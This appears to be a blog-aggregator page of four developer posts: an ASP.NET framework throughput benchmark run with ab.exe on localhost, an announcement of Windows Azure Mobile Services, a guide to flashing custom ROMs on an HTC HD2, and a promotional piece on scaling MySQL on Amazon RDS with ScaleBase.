Mvc.txt ab.exe -n100000 -c20 http://localhost/aspnetperf/api/HelloWorld > WebApi.txt I ran each of these tests 3 times and took the average score for Requests/second, with the machine otherwise idle. I did see a bit of variance when running many tests but the values used here are the medians. Part of this has to do with the fact I ran the tests on my local machine - result would probably more consistent running the load test on a separate machine hitting across the network. I ran these tests locally on my laptop which is a Dell XPS with quad core Sandibridge I7-2720QM @ 2.20ghz and a fast SSD drive on Windows 8. CPU load during tests ran to about 70% max across all 4 cores (IOW, it wasn't overloading the machine). Ideally you can try running these tests on a separate machine hitting the local machine. If I remember correctly IIS 7 and 8 on client OSs don't throttle so the performance here should be Results Ok, let's cut straight to the chase. Below are the results from the tests… It's not surprising that the handler was fastest. But it was a bit surprising to me that the next fastest was WebForms and especially Web Forms with markup over a CodeBehind page. WebPages also fared fairly well. MVC and WebAPI are a little slower and the slowest by far is WCF REST (which again I find surprising). As mentioned at the start the raw throughput tests are not overly practical as they don't test scripting performance for the HTML generation engines or serialization performances of the data engines. All it really does is give you an idea of the raw throughput for the technology from time of request to reaching the endpoint and returning minimal text data back to the client which indicates full round trip performance. But it's still interesting to see that Web Forms performs better in throughput than either MVC, WebAPI or WebPages. It'd be interesting to try this with a few pages that actually have some parsing logic on it, but that's beyond the scope of this throughput test. But what's also amazing about this test is the sheer amount of traffic that a laptop computer is handling. Even the slowest tech managed 5700 requests a second, which is one hell of a lot of requests if you extrapolate that out over a 24 hour period. Remember these are not static pages, but dynamic requests that are being served. Another test - JSON Data Service Results The second test I used a JSON result from several of the technologies. I didn't bother running WebForms and WebPages through this test since that doesn't make a ton of sense to return data from the them (OTOH, returning text from the APIs didn't make a ton of sense either :-) In these tests I have a small Person class that gets serialized and then returned to the client. The Person class looks like this: public class Person { public Person() { Id = 10; Name = "Rick"; Entered = DateTime.Now; } public int Id { get; set; } public string Name { get; set; } public DateTime Entered { get; set; } } Here are the updated handler classes that use Person: Handler public class Handler : IHttpHandler { public void ProcessRequest(HttpContext context) { var action = context.Request.QueryString["action"]; if (action == "json") JsonRequest(context); else TextRequest(context); } public void TextRequest(HttpContext context) { context.Response.ContentType = "text/plain"; context.Response.Write("Hello World. Time is: " + DateTime.Now.ToString()); } public void JsonRequest(HttpContext context) { var json = JsonConvert.SerializeObject(new Person(), Formatting.None); context.Response.ContentType = "application/json"; context.Response.Write(json); } public bool IsReusable { get { return true; } } } This code adds a little logic to check for a action query string and route the request to an optional JSON result method. To generate JSON, I'm using the same JSON.NET serializer (JsonConvert.SerializeObject) used in Web API to create the JSON response. WCF REST   [ServiceContract(Namespace = "")] [AspNetCompatibilityRequirements(RequirementsMode = AspNetCompatibilityRequirementsMode.Allowed)] public class WcfService { [OperationContract] [WebGet] public Stream HelloWorld() { var data = Encoding.Unicode.GetBytes("Hello World " + DateTime.Now.ToString()); var ms = new MemoryStream(data); // Add your operation implementation here return ms; } [OperationContract] [WebGet(ResponseFormat=WebMessageFormat.Json,BodyStyle=WebMessageBodyStyle.WrappedRequest)] public Person HelloWorldJson() { // Add your operation implementation here return new Person(); } } For WCF REST all I have to do is add a method with the Person result type.   ASP.NET MVC public class MvcPerformanceController : Controller { // // GET: /MvcPerformance/ public ActionResult Index() { return View(); } public ActionResult HelloWorldCode() { return new ContentResult() { Content = "Hello World. Time is: " + DateTime.Now.ToString() }; } public JsonResult HelloWorldJson() { return Json(new Person(), JsonRequestBehavior.AllowGet); } } For MVC all I have to do for a JSON response is return a JSON result. ASP.NET internally uses JavaScriptSerializer. ASP.NET WebAPI public class WebApiPerformanceController : ApiController { [HttpGet] public HttpResponseMessage HelloWorldCode() { return new HttpResponseMessage() { Content = new StringContent("Hello World. Time is: " + DateTime.Now.ToString(), Encoding.UTF8, "text/plain") }; } [HttpGet] public Person HelloWorldJson() { return new Person(); } [HttpGet] public HttpResponseMessage HelloWorldJson2() { var response = new HttpResponseMessage(HttpStatusCode.OK); response.Content = new ObjectContent<Person>(new Person(), GlobalConfiguration.Configuration.Formatters.JsonFormatter); return response; } } Testing and Results To run these data requests I used the following ab.exe commands:REM JSON RESPONSES ab.exe -n100000 -c20 http://localhost/aspnetperf/Handler.ashx?action=json > HandlerJson.txt ab.exe -n100000 -c20 http://localhost/aspnetperf/MvcPerformance/HelloWorldJson > MvcJson.txt ab.exe -n100000 -c20 http://localhost/aspnetperf/api/HelloWorldJson > WebApiJson.txt ab.exe -n100000 -c20 http://localhost/AspNetPerf/WcfService.svc/HelloWorldJson > WcfJson.txt The results from this test run are a bit interesting in that the WebAPI test improved performance significantly over returning plain string content. Here are the results:   The performance for each technology drops a little bit except for WebAPI which is up quite a bit! From this test it appears that WebAPI is actually significantly better performing returning a JSON response, rather than a plain string response. Snag with Apache Benchmark and 'Length Failures' I ran into a little snag with Apache Benchmark, which was reporting failures for my Web API requests when serializing. As the graph shows performance improved significantly from with JSON results from 5580 to 6530 or so which is a 15% improvement (while all others slowed down by 3-8%). However, I was skeptical at first because the WebAPI test reports showed a bunch of errors on about 10% of the requests. Check out this report: Notice the Failed Request count. What the hey? Is WebAPI failing on roughly 10% of requests when sending JSON? Turns out: No it's not! But it took some sleuthing to figure out why it reports these failures. At first I thought that Web API was failing, and so to make sure I re-ran the test with Fiddler attached and runiisning the ab.exe test by using the -X switch: ab.exe -n100 -c10 -X localhost:8888 http://localhost/aspnetperf/api/HelloWorldJson which showed that indeed all requests where returning proper HTTP 200 results with full content. However ab.exe was reporting the errors. After some closer inspection it turned out that the dates varying in size altered the response length in dynamic output. For example: these two results: {"Id":10,"Name":"Rick","Entered":"2012-09-04T10:57:24.841926-10:00"} {"Id":10,"Name":"Rick","Entered":"2012-09-04T10:57:24.8519262-10:00"} are different in length for the number which results in 68 and 69 bytes respectively. The same URL produces different result lengths which is what ab.exe reports. I didn't notice at first bit the same is happening when running the ASHX handler with JSON.NET result since it uses the same serializer that varies the milliseconds. Moral: You can typically ignore Length failures in Apache Benchmark and when in doubt check the actual output with Fiddler. Note that the other failure values are accurate though. Another interesting Side Note: Perf drops over Time As I was running these tests repeatedly I was finding that performance steadily dropped from a startup peak to a 10-15% lower stable level. IOW, with Web API I'd start out with around 6500 req/sec and in subsequent runs it keeps dropping until it would stabalize somewhere around 5900 req/sec occasionally jumping lower. For these tests this is why I did the IIS RESET and warm up for individual tests. This is a little puzzling. Looking at Process Monitor while the test are running memory very quickly levels out as do handles and threads, on the first test run. Subsequent runs everything stays stable, but the performance starts going downwards. This applies to all the technologies - Handlers, Web Forms, MVC, Web API - curious to see if others test this and see similar results. Doing an IISRESET then resets everything and performance starts off at peak again… Summary As I stated at the outset, these were informal to satiate my curiosity not to prove that any technology is better or even faster than another. While there clearly are differences in performance the differences (other than WCF REST which was by far the slowest and the raw handler which was by far the highest) are relatively minor, so there is no need to feel that any one technology is a runaway standout in raw performance. Choosing a technology is about more than pure performance but also about the adequateness for the job and the easy of implementation. The strengths of each technology will make for any minor performance difference we see in these tests. However, to me it's important to get an occasional reality check and compare where new technologies are heading. Often times old stuff that's been optimized and designed for a time of less horse power can utterly blow the doors off newer tech and simple checks like this let you compare. Luckily we're seeing that much of the new stuff performs well even in V1.0 which is great. To me it was very interesting to see Web API perform relatively badly with plain string content, which originally led me to think that Web API might not be properly optimized just yet. For those that caught my Tweets late last week regarding WebAPI's slow responses was with String content which is in fact considerably slower. Luckily where it counts with serialized JSON and XML WebAPI actually performs better. But I do wonder what would make generic string content slower than serialized code? This stresses another point: Don't take a single test as the final gospel and don't extrapolate out from a single set of tests. Certainly Twitter can make you feel like a fool when you post something immediate that hasn't been fleshed out a little more <blush>. Egg on my face. As a result I ended up screwing around with this for a few hours today to compare different scenarios. Well worth the time… I hope you found this useful, if not for the results, maybe for the process of quickly testing a few requests for performance and charting out a comparison. Now onwards with more serious stuff… Resources Source Code on GitHub Apache HTTP Server Project (ab.exe is part of the binary distribution)© Rick Strahl, West Wind Technologies, 2005-2012Posted in ASP.NET  Web Api   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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• Announcing Windows Azure Mobile Services

  - by ScottGu

  I’m excited to announce a new capability we are adding to Windows Azure today: Windows Azure Mobile Services Windows Azure Mobile Services makes it incredibly easy to connect a scalable cloud backend to your client and mobile applications.  It allows you to easily store structured data in the cloud that can span both devices and users, integrate it with user authentication, as well as send out updates to clients via push notifications. Today’s release enables you to add these capabilities to any Windows 8 app in literally minutes, and provides a super productive way for you to quickly build out your app ideas.  We’ll also be adding support to enable these same scenarios for Windows Phone, iOS, and Android devices soon. Read this getting started tutorial to walkthrough how you can build (in less than 5 minutes) a simple Windows 8 “Todo List” app that is cloud enabled using Windows Azure Mobile Services.  Or watch this video of me showing how to do it step by step. Getting Started If you don’t already have a Windows Azure account, you can sign up for a no-obligation Free Trial.  Once you are signed-up, click the “preview features” section under the “account” tab of the www.windowsazure.com website and enable your account to support the “Mobile Services” preview.   Instructions on how to enable this can be found here. Once you have the mobile services preview enabled, log into the Windows Azure Portal, click the “New” button and choose the new “Mobile Services” icon to create your first mobile backend.  Once created, you’ll see a quick-start page like below with instructions on how to connect your mobile service to an existing Windows 8 client app you have already started working on, or how to create and connect a brand-new Windows 8 client app with it: Read this getting started tutorial to walkthrough how you can build (in less than 5 minutes) a simple Windows 8 “Todo List” app  that stores data in Windows Azure. Storing Data in the Cloud Storing data in the cloud with Windows Azure Mobile Services is incredibly easy.  When you create a Windows Azure Mobile Service, we automatically associate it with a SQL Database inside Windows Azure.  The Windows Azure Mobile Service backend then provides built-in support for enabling remote apps to securely store and retrieve data from it (using secure REST end-points utilizing a JSON-based ODATA format) – without you having to write or deploy any custom server code.  Built-in management support is provided within the Windows Azure portal for creating new tables, browsing data, setting indexes, and controlling access permissions. This makes it incredibly easy to connect client applications to the cloud, and enables client developers who don’t have a server-code background to be productive from the very beginning.  They can instead focus on building the client app experience, and leverage Windows Azure Mobile Services to provide the cloud backend services they require.  Below is an example of client-side Windows 8 C#/XAML code that could be used to query data from a Windows Azure Mobile Service.  Client-side C# developers can write queries like this using LINQ and strongly typed POCO objects, which are then translated into HTTP REST queries that run against a Windows Azure Mobile Service.   Developers don’t have to write or deploy any custom server-side code in order to enable client-side code below to execute and asynchronously populate their client UI: Because Mobile Services is part of Windows Azure, developers can later choose to augment or extend their initial solution and add custom server functionality and more advanced logic if they want.  This provides maximum flexibility, and enables developers to grow and extend their solutions to meet any needs. User Authentication and Push Notifications Windows Azure Mobile Services also make it incredibly easy to integrate user authentication/authorization and push notifications within your applications.  You can use these capabilities to enable authentication and fine grain access control permissions to the data you store in the cloud, as well as to trigger push notifications to users/devices when the data changes.  Windows Azure Mobile Services supports the concept of “server scripts” (small chunks of server-side script that executes in response to actions) that make it really easy to enable these scenarios. Below are some tutorials that walkthrough common authentication/authorization/push scenarios you can do with Windows Azure Mobile Services and Windows 8 apps: Enabling User Authentication Authorizing Users  Get Started with Push Notifications Push Notifications to multiple Users Manage and Monitor your Mobile Service Just like with every other service in Windows Azure, you can monitor usage and metrics of your mobile service backend using the “Dashboard” tab within the Windows Azure Portal. The dashboard tab provides a built-in monitoring view of the API calls, Bandwidth, and server CPU cycles of your Windows Azure Mobile Service.   You can also use the “Logs” tab within the portal to review error messages.  This makes it easy to monitor and track how your application is doing. Scale Up as Your Business Grows Windows Azure Mobile Services now allows every Windows Azure customer to create and run up to 10 Mobile Services in a free, shared/multi-tenant hosting environment (where your mobile backend will be one of multiple apps running on a shared set of server resources).  This provides an easy way to get started on projects at no cost beyond the database you connect your Windows Azure Mobile Service to (note: each Windows Azure free trial account also includes a 1GB SQL Database that you can use with any number of apps or Windows Azure Mobile Services). If your client application becomes popular, you can click the “Scale” tab of your Mobile Service and switch from “Shared” to “Reserved” mode.  Doing so allows you to isolate your apps so that you are the only customer within a virtual machine.  This allows you to elastically scale the amount of resources your apps use – allowing you to scale-up (or scale-down) your capacity as your traffic grows: With Windows Azure you pay for compute capacity on a per-hour basis – which allows you to scale up and down your resources to match only what you need.  This enables a super flexible model that is ideal for new mobile app scenarios, as well as startups who are just getting going.  Summary I’ve only scratched the surface of what you can do with Windows Azure Mobile Services – there are a lot more features to explore.  With Windows Azure Mobile Services you’ll be able to build mobile app experiences faster than ever, and enable even better user experiences – by connecting your client apps to the cloud. Visit the Windows Azure Mobile Services development center to learn more, and build your first Windows 8 app connected with Windows Azure today.  And read this getting started tutorial to walkthrough how you can build (in less than 5 minutes) a simple Windows 8 “Todo List” app that is cloud enabled using Windows Azure Mobile Services. Hope this helps, Scott P.S. In addition to blogging, I am also now using Twitter for quick updates and to share links. Follow me at: twitter.com/scottgu

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• Flashing your Windows Phone Dummies

  - by Martin Hinshelwood

  The rate at which vendors release new updates for the HD2 is ridiculously slow. You have to wait for Microsoft to release the new OS, then you wait for HTC to build it into a ROM, and then you have to wait up to 6 months for your operator to badly customise it for their network. Once Windows Phone 7 is released this problem should go away as Microsoft is likely to be able to update the phone over the air, but what do we do until then? I want Windows Mobile 6.5.5 now!   I’m an early adopter. If there is a new version of something then that’s the version I want. As long as you accept that you are using something on a “let the early adopter beware” and accept that there may be bugs, sometimes serious crippling bugs the go for it. Note that I won't be responsible if you end up bricking your phone, unlocking or flashing your radio or ROM can be risky. If you follow the instructions then you should be fine, I've flashed my phones (SPV, M300, M1000, M2000, M3100, TyTN, TyTN 2, HD2) hundreds of times without any problems! I have been using Windows Mobile 6.5.5 before it was called 6.5.5 and for long enough that I don’t even remember when I first started using it. I was using it on my HTC TyTN 2 before I got an HD2 a couple of months before Christmas, and the first custom ROM’s for the HD2 were a couple of months after that. I always update to the latest ROM that I like, and occasionally I go back to the stock ROM’s to have a look see, but I am always disappointed. Terms: Soft Reset: Same as pulling out the battery, but is like a reboot for your phone Hard Reset: Reinstalls the Operating system from the Image that is stored on it ROM: This is Image that is loaded onto your phone and it is used to reinstall your phone whenever you do a “hard reset”. Stock ROM: A ROM from the original vendor… So HTC Cook a ROM: Referring to Cooking a ROM is the process a ROM developer goes through to take all of the parts (OS, Drivers and Applications) that make up a running phone and compiling them into a ROM. ROM Kitchen: A place where you get an SDK and all the component parts of the phone: OD, Drivers and Application. There are usually lots of Tools for making it easier to compile and build the image. Flashing: The process of updating one of the layers of your phone with a new layer Bricked: This is what happens when flashing goes wrong. Your phone is now good for only one thing… stopping paper blowing away in a windy place. You can “cook” you own ROM using one of the many good “ROM Kitchens” or you can use a ROM built and tested by someone else. I have cooked my own ROM before, and while the tutorials are good, it is a lot of hassle. You can only Flash new ROM’s that are specifically for your phone only so find a ROM for your phone and XDA Developers is the best place to look. It has a forum based structure and you can find your phone quite easily. XDA Developer Forum Installing a new ROM does have its risks. In the past there have been stories about phones being “bricked” but I have not heard of a bricked phone for quite some years. if you follow the instructions carefully you should not have any problems. note: Most of the tools are written by people for whom English is not their first language to you will need concentrate hard to understand some of the instructions. Have you ever read a manual that was just literally translated from another language? Enough said… There are a number of layers on your phone that you will need to know about: SPL: This is the lowest level, like a BIOS on a PC and is the Operating Systems gateway to the hardware Radio: I think of this as the hardware drivers, and you will need a different Radio for CDMA than GSM networks ROM: This is like your Windows CD, but it is stored internally to the Phone. Flashing your phone consists of replacing one Image with another and then wiping your phone and automatically reinstall from the Image. Sometimes when you download an Image wither it is for a Radio or for ROM you only get a file called *.nbh. What do you do with this? Well you need an RUU application to push that Image to your phone. The RUU’s are different per phone, but there is a CustomRUU for the HD2 that will update your phone with any *.nbh placed in the same directory. Download and Instructions for CustomRUU #1 Flash HardSPL An SPL is kind of like a BIOS, and the default one has checks to make sure that you are only installing a signed ROM. This would prevent you from installing one that comes from any other source but the vendor. NOTE: Installing a HARD SPL invalidates your warranty so remember to Flash your phone with a “stock” vendor ROM before trying to send your phone in for repairs. Is the warranty reinstated when you go back to a stock ROM? I don’t know… Updating your SPL to a HardSPL effectively unlocks your phone so you can install anything you like. I would recommend the HardSPL2. Download and Instructions for HardSPL2 #2 Task29 One of the problems that has been seen on the HD2 when flashing new ROM’s is that things are left over from the old ROM. For a while the recommendation was to Flash a stock ROM first, but some clever cookies have come up with “Task29” which formats your phone first. After running this your phone will be blank and will only boot to the white HTC logo and no further. You should follow the instructions and reboot (remove battery) and hold down the “volume down” button while turning you HD2 on to enter the bootloader. From here you can run CustomRUU once the USB message appears. Download and Instructions for Task29 #2 Flash Radio You may need to play around with this one, there is no good and bad version and the latest is not always the best. You know that annoying thing when you hit “end call” on your phone and nothing happens? Well that's down to the Radio. Get this version right for you and you may even be able to make calls. From a Windows Mobile as well Download There are no instructions here, but they are the same as th ROM, but you use this *.nbh file. #3 Flash ROM If you have gotten this far then you are probably a pro by now Just download the latest ROM below and Flash to your phone. I have been really impressed by the Artemis line of ROM’s but it is no way the only choice. I like this one as the developer builds them as close to the stock ROM as possible while updating to the latest of everything. Download and Instructions for  Artemis HD2 vXX Conclusion While updating your ROM is not for the faint hearted it provides more options than the Stock ROM’s and quicker feature updates than waiting… Technorati Tags: WM6

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• MySQL – Scalability on Amazon RDS: Scale out to multiple RDS instances

  - by Pinal Dave

  Today, I’d like to discuss getting better MySQL scalability on Amazon RDS. The question of the day: “What can you do when a MySQL database needs to scale write-intensive workloads beyond the capabilities of the largest available machine on Amazon RDS?” Let’s take a look. In a typical EC2/RDS set-up, users connect to app servers from their mobile devices and tablets, computers, browsers, etc.  Then app servers connect to an RDS instance (web/cloud services) and in some cases they might leverage some read-only replicas.   Figure 1. A typical RDS instance is a single-instance database, with read replicas.  This is not very good at handling high write-based throughput. As your application becomes more popular you can expect an increasing number of users, more transactions, and more accumulated data.  User interactions can become more challenging as the application adds more sophisticated capabilities. The result of all this positive activity: your MySQL database will inevitably begin to experience scalability pressures. What can you do? Broadly speaking, there are four options available to improve MySQL scalability on RDS. 1. Larger RDS Instances – If you’re not already using the maximum available RDS instance, you can always scale up – to larger hardware.  Bigger CPUs, more compute power, more memory et cetera. But the largest available RDS instance is still limited.  And they get expensive. “High-Memory Quadruple Extra Large DB Instance”: 68 GB of memory 26 ECUs (8 virtual cores with 3.25 ECUs each) 64-bit platform High I/O Capacity Provisioned IOPS Optimized: 1000Mbps 2. Provisioned IOPs – You can get provisioned IOPs and higher throughput on the I/O level. However, there is a hard limit with a maximum instance size and maximum number of provisioned IOPs you can buy from Amazon and you simply cannot scale beyond these hardware specifications. 3. Leverage Read Replicas – If your application permits, you can leverage read replicas to offload some reads from the master databases. But there are a limited number of replicas you can utilize and Amazon generally requires some modifications to your existing application. And read-replicas don’t help with write-intensive applications. 4. Multiple Database Instances – Amazon offers a fourth option: “You can implement partitioning,thereby spreading your data across multiple database Instances” (Link) However, Amazon does not offer any guidance or facilities to help you with this. “Multiple database instances” is not an RDS feature.  And Amazon doesn’t explain how to implement this idea. In fact, when asked, this is the response on an Amazon forum: Q: Is there any documents that describe the partition DB across multiple RDS? I need to use DB with more 1TB but exist a limitation during the create process, but I read in the any FAQ that you need to partition database, but I don’t find any documents that describe it. A: “DB partitioning/sharding is not an official feature of Amazon RDS or MySQL, but a technique to scale out database by using multiple database instances. The appropriate way to split data depends on the characteristics of the application or data set. Therefore, there is no concrete and specific guidance.” So now what? The answer is to scale out with ScaleBase. Amazon RDS with ScaleBase: What you get – MySQL Scalability! ScaleBase is specifically designed to scale out a single MySQL RDS instance into multiple MySQL instances. Critically, this is accomplished with no changes to your application code.  Your application continues to “see” one database.   ScaleBase does all the work of managing and enforcing an optimized data distribution policy to create multiple MySQL instances. With ScaleBase, data distribution, transactions, concurrency control, and two-phase commit are all 100% transparent and 100% ACID-compliant, so applications, services and tooling continue to interact with your distributed RDS as if it were a single MySQL instance. The result: now you can cost-effectively leverage multiple MySQL RDS instance to scale out write-intensive workloads to an unlimited number of users, transactions, and data. Amazon RDS with ScaleBase: What you keep – Everything! And how does this change your Amazon environment? 1. Keep your application, unchanged – There is no change your application development life-cycle at all.  You still use your existing development tools, frameworks and libraries.  Application quality assurance and testing cycles stay the same. And, critically, you stay with an ACID-compliant MySQL environment. 2. Keep your RDS value-added services – The value-added services that you rely on are all still available. Amazon will continue to handle database maintenance and updates for you. You can still leverage High Availability via Multi A-Z.  And, if it benefits youra application throughput, you can still use read replicas. 3. Keep your RDS administration – Finally the RDS monitoring and provisioning tools you rely on still work as they did before. With your one large MySQL instance, now split into multiple instances, you can actually use less expensive, smallersmaller available RDS hardware and continue to see better database performance. Conclusion Amazon RDS is a tremendous service, but it doesn’t offer solutions to scale beyond a single MySQL instance. Larger RDS instances get more expensive.  And when you max-out on the available hardware, you’re stuck.  Amazon recommends scaling out your single instance into multiple instances for transaction-intensive apps, but offers no services or guidance to help you. This is where ScaleBase comes in to save the day. It gives you a simple and effective way to create multiple MySQL RDS instances, while removing all the complexities typically caused by “DIY” sharding andwith no changes to your applications . With ScaleBase you continue to leverage the AWS/RDS ecosystem: commodity hardware and value added services like read replicas, multi A-Z, maintenance/updates and administration with monitoring tools and provisioning. SCALEBASE ON AMAZON If you’re curious to try ScaleBase on Amazon, it can be found here – Download NOW. Reference: Pinal Dave (http://blog.sqlauthority.com)Filed under: MySQL, PostADay, SQL, SQL Authority, SQL Optimization, SQL Performance, SQL Query, SQL Server, SQL Tips and Tricks, T SQL

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